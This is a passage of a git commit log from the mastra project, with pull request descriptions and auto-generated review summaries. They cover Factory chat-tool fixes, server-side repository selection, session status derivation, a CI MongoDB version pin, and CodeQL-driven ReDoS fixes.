mode. Dismissing a proposal doesn't follow. Both results also carry the
card's `url`, like `factory_transition_work_item` in #30628. The
approval or retry has committed before the card is read and followed, so
a failed read or follow returns the result with a warning rather than an
error.

```ts
factory_resolve_proposal({ decisionId, action: 'approve' })
// before: { decisionId, status: 'pending', workItemId }, and the session hears nothing more
// after:  { decisionId, status: 'pending', workItemId, url }, and the run's report reaches this session
```

Not in this PR: whether the woken session then reliably posts the
outcome in its thread. That's the agent's call today, guided by the
channel instructions ("post the outcome when the people in the thread
asked for this work"). A system-posted line, like the existing pull
request opened and merged announcements, would make it deterministic but
adds Slack noise, so it needs a decision first.

## Related issue(s)

Reported in Slack (Factory review requests answered in the chat instead
of on the card). Related to FACT-517.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] I have addressed all Coderabbit comments on this PR

Tests in `src/tools/work-item-tools.test.ts`, on the real transition
service and LibSQL storage: a pull request card in Review with its
review held as a proposal. Approving it from the chat, or retrying it
after it failed, makes the chat session a recipient of the card's
run-end report (`workItemReportRecipients`). Both fail without the fix
(no recipients). Dismissing doesn't follow. A card read that fails after
the approval returns the approved run with a warning (it rejected before
the fix). Ran `tsc`, oxlint, and the `src/tools` and `src/mcp` suites
(16 files, 342 tests).

🤖 Generated with [Claude Code](https://claude.com/claude-code)

https://claude.ai/code/session_01VhgyDWFgVkhDt1X1NPmPas

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a chat session approves a held Factory run or retries a
failed one, the chat now follows that run's card. The tool result also
includes the card's link. Dismissing a held run does not make the chat
follow the card.

## Summary

This change makes the chat session follow a Factory run's card when the
session approves or retries that run. Both tool results include the card
URL. Dismissing a held proposal does not follow the card.

### Changes by file

- **`mastracode/factory/src/tools/work-item-tools.ts`** (+42/-11)
  - Adds `started` as a subscription reason for `follow`.
  - Adds `followStartedRun`. It looks up the decision's work item.
- If the work item ID is missing or the lookup finds no item, the helper
returns the original result.
- If the lookup or subscription throws, the helper returns the result
with a warning. The result includes the URL if it was already obtained.
- Retry results and approved proposal results use this helper. Dismissed
proposal results do not.
  - Tool descriptions document the follow behavior and the URL.
- **`mastracode/factory/src/tools/work-item-tools.test.ts`** (+94/-0)
  - Imports `workItemReportRecipients`.
  - Adds `url: null` to the expected retry result.
- Adds tests. Approving a held run and retrying a failed run each add
the chat session to `workItemReportRecipients`. Dismissing a held run
does not.
- Adds a test. When the card read fails after approval, the approval
still reports success. The result has a null URL and a warning.
- **`mastracode/factory/README.md`** (+1/-1)
- Documents that `factory_resolve_proposal` approves the run as the
acting person.
- Documents that `factory_retry_decision` keeps the run's original
approver and needs no person in the turn.
- Documents that both actions make the session follow the card and
include the card URL in the result.
- **`.changeset/silly-moose-read.md`** (+5/-0)
  - Adds a patch changeset for `@mastra/factory`.

### Scope and limits

- The change adds the session to the card's report recipients. It does
not show that the woken session posts its outcome in its thread. The PR
description places that behavior outside this change.
- The author reports that `tsc`, oxlint, and the `src/tools`, `src/mcp`,
and `src/integrations/slack` suites passed (29 files, 669 tests). This
summary does not verify those results. CI results for the current head:
not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-11-16 20:24:45 -08:00
Damien Schneider
c547a8303c
fix(factory): let chat sessions run a card's work the way the board's buttons do (#30628)
## Description

When someone asks a Factory chat session (Slack or the web) to review a
pull request that already has a card, the session usually reviews it
itself or in a side session and posts the review in the chat. The card's
own review stays held for approval, nothing is recorded on the card, and
the review never lands on GitHub through the review stage. Romain hit it
on Oct 30 ("review this PR pls"), then Yujohn, Arthur and Charlie on Nov
16.

The cause is that session tools didn't do what the board's buttons do:

- The board's **Start**/**Review** button on a card already in its stage
sends a transition to that same stage with `reenter: true`.
`factory_transition_work_item` calls the same transition service, but
couldn't send `reenter`, so "move #30578 to pr-review" on a card already
there did nothing, and a re-review from Slack wasn't possible at all.
- So agents fell back to `factory_start_session(workItem, role)`, which
started a card's role straight from the start coordinator. That path
skipped the board's rules: it didn't check which stage the card was in
or whether it was busy, and it refused a role that had ever had a
session.
- The tools only took a card id or `#number`, so a pasted pull request
link didn't resolve. With several repositories linked, `#5001` picked an
issue in one repository over a pull request in another.

This PR makes session tools use the same operations as the board, and
adds a test that keeps it that way:

- `factory_transition_work_item` takes `rerun: true` to run the stage a
card is already in again, sending `reenter` like the button. On a
person's turn the run counts as approved by them, so a held run no
longer waits, and a busy card is refused as on the board. A turn nobody
signed in started can't rerun a stage. Without `rerun`, a request for
the card's own stage changes nothing and says whether its run is waiting
for approval, so "move it to review" on a card that was already reviewed
doesn't start another pass.
- `factory_start_session` only starts side sessions. Its `workItem` and
`role` inputs are removed, along with the code behind them.
- The tool descriptions steer a plain "review this pull request" to the
pull request's card, and keep side sessions for what people ask to run
in one and for work no stage does (investigations, pushing fixes to a
pull request, taking one over).
- Tools that take a work item also accept the issue or pull request it
tracks: its link (including `/files` or comment links), `owner/repo#12`,
`group/project!7`, or a key like `ENG-42`. They're matched against the
source keys the provider adapters already store. The pull request's own
card wins, then the card it's attached to, and a reference that matches
more than one card is refused with the candidates.
`factory_list_work_items` takes the same references as its query.
- `factory_inspect_work_item` returns `moves`: the card's stage, whether
it can run again, and the stages its board lets it move to next, so the
agent doesn't have to guess `review` vs `pr-review`.
- `board-parity.test.ts` scans `src/tools` and fails if a tool starts a
card's run, commits a transition, or settles a run without going through
the transition service and the shared decision actions that the board's
routes use. It flags 5 lines in the previous `session-tools.ts`.

Before, from Slack, on a card in Review whose review is held for
approval:

```ts
factory_transition_work_item({ workItem: '#30578', stage: 'pr-review' })
// accepted, nothing queued: the agent then starts a side session instead
```

After:

```ts
factory_transition_work_item({ workItem: 'https://github.com/mastra-ai/mastra/pull/30578', stage: 'pr-review' })
// { unchanged: true, message: '#30578 is already in pr-review, and its run there is waiting for approval. Pass rerun: true …' }
factory_transition_work_item({ workItem: 'https://github.com/mastra-ai/mastra/pull/30578', stage: 'pr-review', rerun: true })
// { stage: 'pr-review', reran: true }: a review run approved by the person is queued, as the board's button does
```

**Checked against how people use Shipyard from Slack.** I went through
#shipyard-graveyard and #eng-proj-factories for side session and card
requests:

- Explicit side sessions are the most common request: Abhi ("fix this
issue in a side session", 15+ times), Ryan ("take on PLTFRM-3694 in a
side session"), Romain, Nik, Justin, Charlie ("start separate sessions
to address the requested changes"). They still start side sessions; the
descriptions say so.
- "Review and take over this PR" (Abhi, several PRs a day): a side
session that reviews, pushes fixes and approves. A card's review stage
can't push commits, so this stays side-session work.
- Side sessions running the review skills without being bound to a card
(Abhi, mastra-ai/mastra#27918): unchanged, the workspace exception is
untouched.
- `factory_start_session(workItem, role)`: Shipyard offered it a few
times but didn't use it; it approved the held run or moved the card
instead. When a review got stuck after "changes requested", the
documented way out was moving the card to Building. It also couldn't
re-review ("I can't trigger the re-review from here"), which `rerun` now
can.
- "Move it to review" on a card that was already reviewed (Dustin, Nov
16, mastra-ai/mastra#30345): this is why `rerun` is explicit instead of
implied by the stage.

Not in this PR, as follow-ups:

- The UI's draft start (`/runs/start` from
`useStartCardSessionFromDraft`) also calls the start coordinator without
a destination stage; it needs the same check.
- A note from the person ("focus on security", or "point it at the nits
I found") can't ride along with a rerun yet; the agent can send it to
the card's session with `factory_signal_session` once it starts.
- A request for a review from GitHub by a maintainer is still held for
approval on human-authored pull requests (`transition-service.ts`, event
routes disarm). Whether that should count as approval is a separate
decision.
- "Review these in side sessions" on pull requests that have cards stays
a side session, as asked. Whether that wording should go to the cards
instead is a product call.
- A state signal that tells a session which cards the PR or issue links
in a message belong to, so it doesn't depend on the model looking first.

## Related issue(s)

Reported in Slack (Factory review requests answered in the chat instead
of on the card). Related to FACT-517.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [x] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

Tests: `src/tools/work-item-tools.test.ts` drives the real transition
service and LibSQL storage: a pull request card in Review with its
review held as a proposal, asked for by link. It fails without the
`reenter` change (`expected [] to deeply equal [ObjectContaining{…}]`).
Also covered: the same request without `rerun` leaves the held run alone
and says it's waiting, the busy refusal, the turn without a person,
`moves`, and resolving a link when an issue in another repository has
the same number, or when a pull request is attached to its issue's card.
`card-reference.test.ts` covers GitLab, Linear and Jira references. Ran
`tsc`, oxlint, and the `src/tools`, `src/mcp`, `src/integrations/slack`,
`factory.test.ts`, start coordinator and transition service suites
locally.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

https://claude.ai/code/session_01VhgyDWFgVkhDt1X1NPmPas

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** This change lets the Factory chat tools act on the board's
cards the same way the board does. Users can rerun a card's current
stage, find cards by link or key, and start side sessions for work that
has no card.

## Overview

- Base: `main`, merge base `3c7c00383d`.
- Files changed: 12. Lines: +627 / -860.
- Changes span the Factory tools, the MCP test fixture, the README, a
changeset, and new tests.

## Changes

### Card transitions (`work-item-tools.ts`)

- `factory_transition_work_item` accepts `rerun: true`. This reruns the
card's current stage through the transition service.
- Without `rerun`, a request for the current stage returns an unchanged
result. The result reports whether an `invokeSkill` decision awaits
approval.
- Reruns require an interactive person.
- Transition results include the card URL. The URL is `null` when no
public Factory URL is configured.
- The tool follows the card after a transition. A follow failure
produces a warning and does not fail the call.
- The tool description separates stage work from side-session work.
- The update-tool description directs stage reruns to the transition
tool.
- A `workItemLabel` helper shows numbered cards as `#number`. Unnumbered
cards show their title.

### Work-item references (`read-tools.ts`, `card-reference.ts`)

- `workItemRefSchema` accepts a UUID, a numeric card number, or a source
reference. The maximum length rises from 64 to 512 characters.
- A UUID resolves directly.
- A source reference (issue or pull-request link, repository shorthand,
or tracker key) resolves in this order:
  1. A card that is the source's own card.
  2. A card that carries the source.
- Ambiguity errors show the board and stage. Nonnumeric references are
labeled as supplied.
- Listing supports source-reference queries. Filter descriptions state
stage and board keys.
- Inspection adds the board's available moves. The moves show whether
the current working stage can be rerun.
- Inspection loads the board source before it checks overtaken
decisions.
- New `card-reference.ts` exports:
- `sourceKeyFromReference(reference: string): string | null` parses
GitHub, GitLab, Linear, and Jira references, shorthand, and tracker
identifiers.
- `isSourceReference(reference: string): boolean` also accepts any
HTTP(S) URL.
- `sourceMatchesReference(source, reference): boolean` compares keys
case-insensitively. It compares other URLs after normalization.
- `isCardFor(card, reference): boolean` checks only the card's first
source.
- `cardCarries(card, reference): boolean` checks all of the card's
sources.
- `read-tools.ts` adds a module-scoped helper `findBySource(items, ref):
Card | null`.

### Side sessions (`session-tools.ts`)

- `factory_start_session` accepts only `prompt`, optional `title`, and
optional `model`. It always starts a side session.
- The work-item role-start path is removed. This path validated roles
and existing role sessions. It subscribed the caller to the item,
started the run, and returned work-item and binding details.
- The related board, coordinator, repository-resolution, audit, and
run-heartbeat dependencies are removed.
- The tool instructions no longer direct card-stage work through this
tool.

### Wiring (`factory.ts`, `routes.test.ts`)

- `factory.ts` removes the `FactoryStartCoordinator` import, the
`#startCoordinator` field, and its wiring through `factoryToolDeps` and
`onFactoryRuntime`.
- `factory.ts` removes the `intake` dependency from `factoryToolDeps`.
- `routes.test.ts` stops providing `intake` and `startCoordinator` in
its fixture.

### Tests

- `board-parity.test.ts` (new): a Vitest guard. It scans non-test
TypeScript files under `tools/`. It fails when a line matches patterns
for starting runs, committing transitions, settling deferred decisions,
or recording run starts outside the board's shared routes.
- `work-item-tools.test.ts`:
  - Uses the runtime transition service and read tools.
  - Expects `url: null` when no public Factory URL is configured.
- Adds a chat-request suite. It covers reruns of a held pull-request
review by link, unchanged-stage requests, duplicate queued runs,
noninteractive reruns, stage inspection, and pull-request resolution by
URL or repository-qualified number.
- `card-reference.test.ts` (new): covers the key-extraction and matching
helpers.
- `session-tools.test.ts`:
  - Removes the coordinator setup and the work-item-mode suite.
  - Removes one noninteractive-turn test.
- Asserts that a role with a work item, and a work item without a role,
are both invalid. A prompt alone stays valid.

### Documentation and release

- `mastracode/factory/README.md` documents the `rerun` flag, reference
lookup, and side-session behavior.
- `.changeset/smooth-sails-learn.md` declares a minor release of
`@mastra/factory`.

## Public API changes

- `workItemRefSchema` validation changes as described above.
- New exports in `card-reference.ts`, listed above.
- `factory_start_session` no longer accepts `workItem` or `role`.
- Transition results add a `url` field.

## Verification

- Review findings: not available. No review findings were supplied.
- CI and build results: not available. No completed checks were supplied
for the current head.
- The author reports running `tsc`, oxlint, and the `src/tools`,
`src/mcp`, `src/integrations/slack`, `factory.test.ts`, start
coordinator, and transition service suites locally. These results are
not independently confirmed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-11-16 20:24:45 -08:00
mastra-platform[bot]
33fba78931
fix: make URL slash trimming and PR number parsing linear-time (#30577)
## Summary

Resolves four open CodeQL code-scanning findings.

| Ticket | Alert | Rule | Location | Change |
| --- | --- | --- | --- | --- |
| SEC-326 |
[#988](https://github.com/mastra-ai/mastra/security/code-scanning/988) |
js/polynomial-redos | `packages/core/src/llm/model/gateways/mastra.ts` |
`/\/+$/` trailing-slash trim replaced with an end-of-string scan |
| SEC-325 |
[#987](https://github.com/mastra-ai/mastra/security/code-scanning/987) |
js/polynomial-redos | `mastracode/factory/src/boards/semantics.ts` |
`/(\d+)$/` replaced with a `trailingDigits` scan from the end |
| SEC-316 |
[#985](https://github.com/mastra-ai/mastra/security/code-scanning/985) |
js/polynomial-redos | `auth/supabase/src/index.ts` | `/\/+$/`
trailing-slash trim replaced with an end-of-string scan |
| SEC-316 |
[#986](https://github.com/mastra-ai/mastra/security/code-scanning/986) |
js/type-confusion-through-parameter-tampering |
`server-adapters/nestjs/src/__tests__/builtin-mcp-oauth.test.ts` | Test
auth provider now checks `typeof token === 'string'` before using it |
| SEC-259 |
[#752](https://github.com/mastra-ai/mastra/security/code-scanning/752) |
js/insufficient-password-hash | `packages/core/src/utils.ts` | No code
change. This is a false positive (see below) |

### ReDoS fixes

These regexes are unanchored at the start. On a string with a long run
of `/` (or digits) followed by another character, the engine retries the
match from every position, which takes quadratic time. On 100k
characters the old code took about 7s for the slash trim and about 10s
for the digit match. The replacements walk back from the end of the
string once and return the same results. That covers the edge cases too:
an empty run, an all-slash or all-digit string, and leading zeros like
`007`.

### #752 is a false positive

`createDeterministicId` already uses SHA-256
(`createHash('sha256').update(input).digest('hex').slice(0, 8)`). It
builds a short, non-secret `tool-<hash>` ID from `tool.description` in
`setVercelToolProperties`, and nothing in it stores a password. CodeQL
raises this rule for any fast hash it thinks might receive a credential.
Here its taint path runs from the API keys passed to the Gateway model
providers in `mastracode/sdk`, through provider/model objects, and not
through a tool description. No hash change would satisfy the rule: it
wants a slow KDF (bcrypt/scrypt/PBKDF2), which would change every
existing tool ID that callers rely on. Recommend dismissing #752 as a
false positive.

## Test plan

- [x] Regression tests with 100k-character pathological inputs in
`mastra.test.ts`, `auth/supabase/src/index.test.ts`, and
`boards/semantics.test.ts`. I checked that each one fails (times out at
7–20s) against the old regex and passes with the fix.
- [x] Behavior tests for gateway base-URL normalization (`///`,
`/v1///`, `/api/`) and for falling back to the PR number from the GitHub
key (`34`, `007`, empty, `12x`)
- [x] `vitest` passes for the gateway tests in `@mastra/core`, all of
`@mastra/auth-supabase`, the semantics and GitLab rules tests in
`@mastra/factory`, and the MCP OAuth test in `@mastra/nestjs`
- [x] `tsc --noEmit` is clean for `packages/core`, `auth/supabase`,
`mastracode/factory`, and `server-adapters/nestjs`
- [x] Changeset added for `@mastra/core`, `@mastra/auth-supabase`, and
`@mastra/factory`. The NestJS change only touches a test, so it has no
changeset

Ref SEC-326
Ref SEC-325
Ref SEC-316
Ref SEC-259


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Some code used regular expressions that ran very slowly on
very long strings of `/` or digit characters. This change replaces them
with loops that scan each string once. The results stay the same.

## Overview

The change replaces three end-anchored regular expressions with backward
scans. It also adds a type guard in a NestJS test helper. The diff
touches 9 files, with 93 lines added and 4 removed.

The change addresses three polynomial ReDoS findings and one
type-confusion finding from CodeQL. It does not change code for the
insufficient-password-hash finding (`#752`) on `createDeterministicId`.
The author classifies that finding as a false positive. The hash creates
non-secret tool IDs from tool descriptions. A slow KDF would change
existing IDs.

## Changes by area

- **Gateway base URL**
(`packages/core/src/llm/model/gateways/mastra.ts`): `getBaseUrl` removes
trailing `/` characters with a character-by-character loop. It then
removes a final `/v1` suffix.
- **Supabase URL** (`auth/supabase/src/index.ts`): The provider stores a
normalized `this.url`. A backward loop removes trailing `/` characters.
The Supabase client still receives the original `supabaseUrl`.
- **Pull request number**
(`mastracode/factory/src/boards/semantics.ts`): The new helper
`trailingDigits` scans backward over ASCII digits `0`–`9`.
`boundChangeRequestNumber` calls it only for `github-pr` sources. It
returns `undefined` when no trailing digit exists.
- **NestJS test helper**
(`server-adapters/nestjs/src/__tests__/builtin-mcp-oauth.test.ts`):
`AudienceAuth.authenticateToken` accepts `unknown`. It returns `null`
for non-string values before it parses `aud=`.
- **Changesets**:
- `.changeset/linear-slash-trim.md` sets patch releases for
`@mastra/core` and `@mastra/auth-supabase`. It describes linear-time
trailing-slash trimming. It states that the resulting URLs are
unchanged.
- `.changeset/linear-pr-number.md` sets a patch release for
`@mastra/factory`. It describes linear-time PR-number extraction. It
states that the returned number is unchanged.

## Tests

The test file diffs were not inspected. The following test additions
come from the raw summary and are not verified against the diff:

- A Supabase test that uses a URL with two 100,000-slash runs. It
asserts construction takes under 500 ms.
- Factory tests for trailing-digit extraction, leading zeroes,
`undefined` results, and 100,000-character keys.
- Gateway `fetchProviders` tests for base URL normalization and a
pathological slash-run case.

The PR reports passing Vitest runs and clean `tsc --noEmit` runs for
`packages/core`, `auth/supabase`, `mastracode/factory`, and
`server-adapters/nestjs`. These results were not verified from completed
checks on the current head: not available.

## Notes

- The NestJS change is test-only. It has no changeset.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: shreyas-mastra <shreyas@mastra.ai>
2026-11-16 22:50:34 -05:00
Tyler Barnes
b07dd23713
feat(core): add knowledge.reembed() to embed existing Knowledge content (#30603) 2026-11-16 20:50:08 -07:00
mastra-platform[bot]
6fbd425c83
ci(renovate): keep store-test MongoDB on 7.x (#30601)
## Summary

`Combined Store Tests / test (mongodb)` fails on every PR that touches
stores (e.g. #30577, #30580, #30593) because the test container never
starts:

> MongoDB cannot start: Linux kernel versions 6.19.0 through 7.0.13 have
a known incompatibility with this version of MongoDB

`stores/mongodb/docker-compose.yaml` was deliberately pinned to
`mongo:7.0.45` because MongoDB 8.x+ refuses to start on the self-hosted
runners' kernel (TCMalloc rseq issue, SERVER-121912). The Renovate major
Docker update in #19788 bumped it to `mongo:9.0.8`, undoing that pin.

This PR:
- Restores `mongo:7.0.45` for the `mongodb-storage` and
`mongodb-fidelity` services (the `mongodb-vector` Atlas Local image is
unchanged).
- Adds a Renovate rule capping `mongo` below 8 for that compose file so
it is not bumped again.
- Updates the compose comment to cover 9.x.

**This is a CI-only workaround.** It only changes the test container
image; no published package or runtime behavior changes, so there is no
changeset. Revisit the pin once MongoDB ships a release compatible with
kernel 6.19+, or once the runners move off an affected kernel.

## Test plan

- `Combined Store Tests / test (mongodb)` passes on this PR (the
`stores/mongodb` `pretest` runs `docker compose up -d --wait` against
this file).
- 7.0.45 is the version the suite ran green on before #19788.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

The test setup uses a database program that will not start on some test
machines. This change sets the database to an older version that does
start. It also stops automatic updates from moving that database to
version 8 or later.

## Summary

This change pins MongoDB to a version that works on the self-hosted CI
runners.

### Changes

- `stores/mongodb/docker-compose.yaml`: The `mongodb-storage` and
`mongodb-fidelity` services use `mongo:7.0.45`. They previously used
`mongo:9.0.8`. The `mongodb-vector` Atlas Local image is not changed.
- `stores/mongodb/docker-compose.yaml`: The comments now state that the
compatibility restriction applies to MongoDB 8.x and 9.x on Linux kernel
6.19+. They also state that the service must not move beyond 7.x until
MongoDB ships patched TCMalloc.
- `renovate.json`: A new package rule applies to Docker updates for
`mongo` in `stores/mongodb/docker-compose.yaml`. It limits allowed
versions to `<8`.

### Context

The regression came from a Renovate major Docker update. That update
changed the image from `mongo:7.0.45` to `mongo:9.0.8`. The MongoDB
container then failed to start on self-hosted runners because of a
kernel incompatibility.

### Impact

- The change affects CI test infrastructure only.
- No published package or runtime behavior changes.
- The PR description reports that `Combined Store Tests / test
(mongodb)` passes with the restored image. This summary does not verify
that result.

### Review notes

- The pin should be revisited when MongoDB supports kernel 6.19+ or when
the runners move off an affected kernel.
- The diff totals 2 files, 11 lines added, and 4 lines removed. The
`renovate.json` change adds 7 lines. The Compose file change modifies 4
lines.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 22:49:02 -05:00
Tyler Barnes
b35a72cc7c
ci(test-tiers): fill the GitHub to Slack user map and add a skill to update it (#30629) 2026-11-16 20:44:49 -07:00
Damien Schneider
3c7c00383d
fix(factory): let the server decide which repository a card's session starts in (#30609)
**─────── TLDR ───────**
> A card's draft now asks the server which repository its session starts
in, so a card from an unlinked repository is refused instead of started
somewhere else.

The draft carried its own copy of the repository rule, and a looser one:
when the card's repository wasn't linked, it fell back to the
environment's first repository and wrote that slug onto the card before
calling `runs/start`, which then accepted it. The fallback came from
main's `useStartFactoryRun`, not from #30481. Now the draft reads
`resolveRunRepository`, the same function `runs/start` checks with,
through a new route, and shows its hint as is.

### Behavior changed

GitHub card from `acme/docs`, only `acme/app` linked
&nbsp;&nbsp;├─ **was** — starts in `acme/app`, card rewritten to
`repository: acme/app`
&nbsp;&nbsp;└─ **now** — the draft says "Repository acme/docs is not
linked to this Factory.", nothing starts, "Open repository settings"
leads to the fix

card whose repository resolves (linked, Linear mapping, or a single
repository)
&nbsp;&nbsp;├─ **was** — starts there, after the draft writes
`repository` onto the card
&nbsp;&nbsp;└─ **now** — starts there, the card is left as it was

the draft when the server can't answer
&nbsp;&nbsp;└─ **new** — "Could not find this card's repository: …",
sending stays off, also when an earlier lookup had answered; Retry asks
again

the draft after the repository gets linked, or after the card changes
&nbsp;&nbsp;└─ **new** — asks the server again on reopen, on tab focus,
and when the card changes

GitHub card in a Factory whose repositories are all on GitLab, or the
reverse
&nbsp;&nbsp;├─ **was** — the draft refused it; dispatch and `runs/start`
ran it in the Factory's repository
&nbsp;&nbsp;└─ **now** — refused everywhere, even when a repository
there has the same name: "This card comes from GitHub, and no GitHub
repository is linked to this Factory."

card naming no repository among several
&nbsp;&nbsp;└─ **unchanged** — starts in the environment's first one,
the agent picks

### Shape changed

new route the draft reads before the first prompt
&nbsp;&nbsp;&nbsp;&nbsp;`GET
/web/factory/projects/:id/work-items/:workItemId/session-repository` ·
`{ status: 'resolved', projectRepositoryId, slug }` · `{ status:
'unlinked', hint }`
&nbsp;&nbsp;&nbsp;&nbsp;CLI: `mastra api factory work-item
session-repository <project-id> <work-item-id>`

one place every run reads its repository from: the draft route, rule
dispatch, `runs/start` and `factory_start_session`
&nbsp;&nbsp;&nbsp;&nbsp;`resolveRunRepositoryFromIntake(intake, args)` ·
reads the Linear mapping, then Ward's `resolveRunRepository`

removed: `cardSessionRepository` · `firstEnvironmentRepository` ·
`cardRepositorySlug` · `cardLinearProjectId` · `useCardRepositorySlug`

### Decisions

- **a GET the draft reads, not one call that resolves and starts** — the
refusal has to show before the first prompt; `runs/start` still checks
on its own.

### Not verified

- [ ] a real Factory with an unlinked GitHub repository: covered by the
route tests and the draft's MSW tests only

---

> ██████████████████ **tests** `+257 −320` — net −63
> ███████████ **source** `+217 −150` — net +67
> ███ **generated** `+83`
> █ **changeset** `+17`





<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: A Factory card used to choose its own code repository in the app,
and that choice could be wrong. Now the server chooses the repository,
and a card starts a session only when the server finds one.

## Summary

This pull request moves repository selection for Factory card sessions
from the client to the server. It changes 26 files, with 534 lines added
and 468 removed.

### Server changes (`mastracode/factory`)

- Adds the `GET
/web/factory/projects/:id/work-items/:workItemId/session-repository`
route. The contract is in `routes/contracts.ts`. The handler is in
`routes/work-items.ts`.
- The response is a discriminated union:
  - A resolved result returns `projectRepositoryId` and `slug`.
  - An unlinked result returns a `hint`.
- The route returns 404 when the card is outside the caller's
organization or project. It returns 503 when no `sessionRepository`
resolver is configured.
- Adds `resolveRunRepositoryFromIntake` in
`session/work-item-repository.ts`. It reads Linear intake configuration
for the organization and passes the `repositoryByLinearProject` map to
`resolveRunRepository`. If intake or the map is absent, it passes no
map.
- Adds a provider check. When the active integration has no matching
provider ID, and card metadata contains an ID for another supported
provider (GitHub or GitLab), the result is unlinked, with a hint naming
that provider. This check runs before the repository slug and Linear
mapping are considered.
- `rules/start-coordinator.ts`, `tools/session-tools.ts`, and
`routes/surface.ts` call `resolveRunRepositoryFromIntake`. They no
longer load intake configuration directly.
- `routes/surface.ts` supplies the `sessionRepository` resolver when
source-control integrations are registered. It returns an unlinked
result when no source-control connection resolves.

### Factory UI changes (`mastracode/factory-ui`)

- Adds the `WorkItemSessionRepository` type, the
`workItemSessionRepository` query key, and
`getWorkItemSessionRepository` in `services/workItems.ts`.
- `useCardSessionRepository` takes `factoryId` and a card with `id` and
`updatedAt`. It fetches the repository from the server. The query uses
`staleTime: 0` and refetches on window focus.
- `useStartCardSessionFromDraft` starts a session only when a resolved
repository is available. It no longer writes the selected repository to
the card.
- `CardDraftPage` shows an error message when the lookup fails. It
offers Retry, which is disabled while the lookup runs. It shows the
server hint and a link to repository settings when the result is
unlinked. Sending stays disabled in both cases.
- Removes client-side repository logic from `boardRepository.ts`:
`cardRepositorySlug`, `cardSessionRepository`,
`firstEnvironmentRepository`, and `cardLinearProjectId`. Removes the
`useCardRepositorySlug` hook.
- Adds the `workItemSessionRepository` CLI command in `packages/cli`. It
shows the repository a card session starts in, or the reason none is
available.

### Tests and changesets

- `work-items.test.ts` adds tests for resolved responses, unlinked
responses, and 404 responses. The 404 test confirms that the resolver is
not called.
- `work-item-repository.test.ts` adds parameterized tests. A GitHub card
is unlinked when only a GitLab repository is linked. A GitHub or GitLab
card whose repository isn't linked is named from its URL in the hint.
- `boardRepository.test.ts` targets `cardProjectRepositoryId` and covers
provider-ID lookup. The old slug, session-repository, and
first-environment tests are removed.
- The UI MSW and unit tests now use the endpoint. Environment-based
repository tests are removed.
- The CLI descriptor test expects the new
`factoryWork-itemSession-repository` entry.
- Two changesets declare patch releases for `@mastra/factory`. A third
declares a patch release for `mastra` and documents the new CLI command.

### Behavior notes

- A card with a resolvable repository starts in that repository. The
card is not rewritten.
- A card with no resolvable repository shows the server hint. Sending
stays disabled.
- If the lookup succeeds and a later lookup fails, sending stays
disabled. The PR description reports this as a tested case.
- The PR description says that cards without a repository among several
keep the first-repository behavior. The diff does not confirm this on
the server. The client-side first-environment selector was removed. The
server-side fallback was not checked.

### Verification

- The PR description reports that the unlinked-GitHub scenario was
covered only by route tests and draft MSW tests. It was not verified in
a real Factory.
- CI and build results are not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 19:29:51 -08:00
Damien Schneider
e22c5a7035
fix(factory): show the right status for person sessions, later threads and failed setups (#30627)
**─────── TLDR ───────**

> A session now shows Waiting on you, Working or Initializing when
that's actually true, for person sessions as well as card sessions.

Stacked on #30624. Three rules were wrong in the one server derivation
the sidebar and board read. A person session parked on a question showed
Working, because its parked state was never looked up. A run on any
thread but the session's first one went unseen. And Initializing only
checked whether setup had finished, so a session whose clone failed, or
that never ran at all, stayed Initializing for good. The client polled
`/sessions` every 15 s to work around that, so the poll goes too.

**Was**
&nbsp;&nbsp;├─ person session, agent asks a question: Working
&nbsp;&nbsp;├─ person clicks New thread and prompts: Idle the whole run
&nbsp;&nbsp;├─ Slack session running: Idle
&nbsp;&nbsp;├─ setup never finished, no run: Initializing forever
&nbsp;&nbsp;├─ card whose clone failed: Initializing, and held so no new
run could start
&nbsp;&nbsp;└─ sessions list: refetched every 15 s while a session
looked unmaterialized

**Now**
&nbsp;&nbsp;├─ person session, agent asks a question: Waiting on you,
even before its sandbox came up
&nbsp;&nbsp;├─ person clicks New thread and prompts: Working
&nbsp;&nbsp;├─ Slack session running: Working
&nbsp;&nbsp;├─ setup never finished, no run: its normal status
&nbsp;&nbsp;├─ setup never finished, run waiting on it: Initializing, as
before
&nbsp;&nbsp;├─ card whose clone failed: its normal status, not held
&nbsp;&nbsp;└─ sessions list: no poll

**Decisions**
- Person and card rows now go through the same `sessionStatus`. Person
